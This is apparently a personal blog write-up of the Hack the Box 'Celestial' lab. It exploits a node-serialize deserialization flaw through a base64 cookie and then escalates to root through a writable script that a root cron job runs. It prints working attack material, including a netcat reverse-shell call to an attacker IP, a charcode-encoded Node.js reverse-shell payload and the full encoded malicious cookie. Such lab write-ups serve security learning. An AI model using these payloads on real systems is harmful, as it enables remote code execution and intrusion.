• Donald Ashdown

Hack the Box Celestial

Updated: Apr 20

Engagement flow


Summary

A totally neat machine that required me to dig deep into de-serialization vulnerabilities. This was allot like python pickling. The de-serialization vulnerability was the way to access the machine as user Sun. From here the path to root involved a cron job running as root on a file that user sun had write permissions too. Adding a reverse shell with VI did the trick, but using echo "" would void quotes, making the shell null and providing for a small challenge on the way.

Tools used
  • Burpsuite

  • Cyberchef

  • node4jsgenerator

  • msfvenom

Processes/Techniques
  • Request intercepting

  • Data encoding/decoding

  • De-serialization vulnerability


Enumeration

We start off with a basic host scan and see only one port open. From here we immediately follow it up with an in-depth port scan.


-sc - use NSE default scripts with the scripting engine

-sv - Enumerate all versions


We have only one port open and we learn it is a Node.js Express framework. Node.js is a JavaScript oriented webserver. The Express framework sits on top of Node.js, allowing speed, efficiency and simplicity to the developers. It also supports front and back end services, allowing front end and back developers to write code together.


Web enumeration

Something here confused me, but upon re-submitting the URL we received a new page. This page displayed a math function using the EVAL statement, which concatenates two objects.


The eval statement is used here.


Looking further we find a cookie that appears to be encoded in base64


We jump over to cyberchef to decode this cookie. First we notice there is a %3D%3D at the end of the string which is not base 64. This is URL encoding for ==. So we adjust cyberchef to URL decode before the base64 decode. From here we can clearly see our cookie is passing multiple variables to the webserver for parsing. This means a back end script is parsing our cookie for our number, and likely passing it to a math related statement.


We change the number to 50, re-encode the cookie and submit to the website to look for a change in the page.


We can see below that we receive a concatenated string of 5050.


Playing around with the parameters in the cookie, as we performed various tests with escape characters yielded this page more than once. At first I overlooked it, but after some time it became clear that the eval statement is being used here.


Looking into node js eval vulnerabilities quickly revealed we indeed have a possibly vulnerable function. See the website below, and the image I captured. It becomes clear that eval will pass input to the system for execution and thus needs to be securely implemented with user input sanitization. Obviously in this web app it is being used for nothing other than teaching/demonstrating.


https://snyk.io/blog/5-ways-to-prevent-code-injection-in-javascript-and-node-js/


Further reading

Looking into node js express vulnerabilities a little more we learn that there is a serialization vulnerability.


https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/


If Express node js is present then these modules are vulnerable to de-serialization attacks:

  • node-serialize

  • funcster

  • cryo


Attempts

First attempt was to use metasploit to generate the malicious code to pass into the cookie. But this literally provided nothing.



Second attempt using the script provided here

https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/


This provided nothing, but I am not sure why. The output seemed correct from the context of other exploitation jobs, but I had to switch gears and take a step back.


var y = {
rce : function(){
require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
}(),
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));


var y = {
rce : function(){
require('child_process').exec('nc 10.10.14.66 6363 –e /bin/bash
/', function(error, stdout, stderr) { console.log(stdout) });
}(),
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));
3rd attempt

This was our final attempt that actually worked. We follow the link here to generate a payload with the script below that simply takes our data and serializes it.


https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py



└─$ python nodejsshell.py 10.10.14.66 6363  
[+] LHOST = 10.10.14.66
[+] LPORT = 6363
[+] Encoding
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,54,54,34,59,10,80,79,82,84,61,34,54,51,54,51,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))


We manually append to the top

{"rce":"_$$ND_FUNC$$_function (){  

We manually append to the bottom. This () is the immediate invoke express function that will execute our code as soon as it is de-serialized.

}()"}


Convert to Base and URL encode

eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IGV2YWwoU3RyaW5nLmZyb21DaGFyQ29kZSgxMCwxMTgsOTcsMTE0LDMyLDExMCwxMDEsMTE2LDMyLDYxLDMyLDExNCwxMDEsMTEzLDExNywxMDUsMTE0LDEwMSw0MCwzOSwxMTAsMTAxLDExNiwzOSw0MSw1OSwxMCwxMTgsOTcsMTE0LDMyLDExNSwxMTIsOTcsMTE5LDExMCwzMiw2MSwzMiwxMTQsMTAxLDExMywxMTcsMTA1LDExNCwxMDEsNDAsMzksOTksMTA0LDEwNSwxMDgsMTAwLDk1LDExMiwxMTQsMTExLDk5LDEwMSwxMTUsMTE1LDM5LDQxLDQ2LDExNSwxMTIsOTcsMTE5LDExMCw1OSwxMCw3Miw3OSw4Myw4NCw2MSwzNCw0OSw0OCw0Niw0OSw0OCw0Niw0OSw1Miw0Niw1NCw1NCwzNCw1OSwxMCw4MCw3OSw4Miw4NCw2MSwzNCw1NCw1MSw1NCw1MSwzNCw1OSwxMCw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw2MSwzNCw1Myw0OCw0OCw0OCwzNCw1OSwxMCwxMDUsMTAyLDMyLDQwLDExNiwxMjEsMTEyLDEwMSwxMTEsMTAyLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsOTksMTExLDExMCwxMTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsNjEsNjEsMzIsMzksMTE3LDExMCwxMDAsMTAxLDEwMiwxMDUsMTEwLDEwMSwxMDAsMzksNDEsMzIsMTIzLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsOTksMTExLDExMCwxMTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsMzIsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDQwLDEwNSwxMTYsNDEsMzIsMTIzLDMyLDExNCwxMDEsMTE2LDExNywxMTQsMTEwLDMyLDExNiwxMDQsMTA1LDExNSw0NiwxMDUsMTEwLDEwMCwxMDEsMTIwLDc5LDEwMiw0MCwxMDUsMTE2LDQxLDMyLDMzLDYxLDMyLDQ1LDQ5LDU5LDMyLDEyNSw1OSwzMiwxMjUsMTAsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDMyLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwxMTgsOTcsMTE0LDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsMzIsNjEsMzIsMTEwLDEwMSwxMTksMzIsMTEwLDEwMSwxMTYsNDYsODMsMTExLDk5LDEwNywxMDEsMTE2LDQwLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsOTksMTExLDExMCwxMTAsMTAxLDk5LDExNiw0MCw4MCw3OSw4Miw4NCw0NCwzMiw3Miw3OSw4Myw4NCw0NCwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExOCw5NywxMTQsMzIsMTE1LDEwNCwzMiw2MSwzMiwxMTUsMTEyLDk3LDExOSwxMTAsNDAsMzksNDcsOTgsMTA1LDExMCw0NywxMTUsMTA0LDM5LDQ0LDkxLDkzLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTE5LDExNCwxMDUsMTE2LDEwMSw0MCwzNCw2NywxMTEsMTEwLDExMCwxMDEsOTksMTE2LDEwMSwxMDAsMzMsOTIsMTEwLDM0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTA1LDExMCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTA0LDQ2LDExNSwxMTYsMTAwLDExMSwxMTcsMTE2LDQ2LDExMiwxMDUsMTEyLDEwMSw0MCw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTAxLDExNCwxMTQsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE1LDEwNCw0NiwxMTEsMTEwLDQwLDM5LDEwMSwxMjAsMTA1LDExNiwzOSw0NCwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsOTksMTExLDEwMCwxMDEsNDQsMTE1LDEwNSwxMDMsMTEwLDk3LDEwOCw0MSwxMjMsMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMDEsMTEwLDEwMCw0MCwzNCw2OCwxMDUsMTE1LDk5LDExMSwxMTAsMTEwLDEwMSw5OSwxMTYsMTAxLDEwMCwzMyw5MiwxMTAsMzQsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwxMCwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDExMSwxMTAsNDAsMzksMTAxLDExNCwxMTQsMTExLDExNCwzOSw0NCwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsMTAxLDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTAxLDExNiw4NCwxMDUsMTA5LDEwMSwxMTEsMTE3LDExNiw0MCw5OSw0MCw3Miw3OSw4Myw4NCw0NCw4MCw3OSw4Miw4NCw0MSw0NCwzMiw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMTI1LDEwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDU5LDEwKSl9KCkifQ%3D%3D



Pass this information to our cookie variable.




There is our reverse shell as user sun.


Upgrade shell

python -c 'import pty; pty.spawn("/bin/bash")'

sun@sun:~$



Local Enumeration

Linpeas found nothing for me so I desperately switched over to pspy which monitors process and execution in real time. This was a life saver.


PSPY

022/01/31 20:40:01 CMD: UID=0    PID=5595   | /usr/sbin/CRON -f 
2022/01/31 20:40:01 CMD: UID=0    PID=5598   | 
2022/01/31 20:40:01 CMD: UID=0    PID=5599   | chown sun:sun /home/sun/Documents/script.py 
2022/01/31 20:40:01 CMD: UID=0    PID=5600   | /bin/sh -c python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py                                                                                                       

Root

We literally just write malicious code or a reverse shell in script.py which we can see is being run as user root. We have to use VIM however, as our quotes are sanitized if we use echo.

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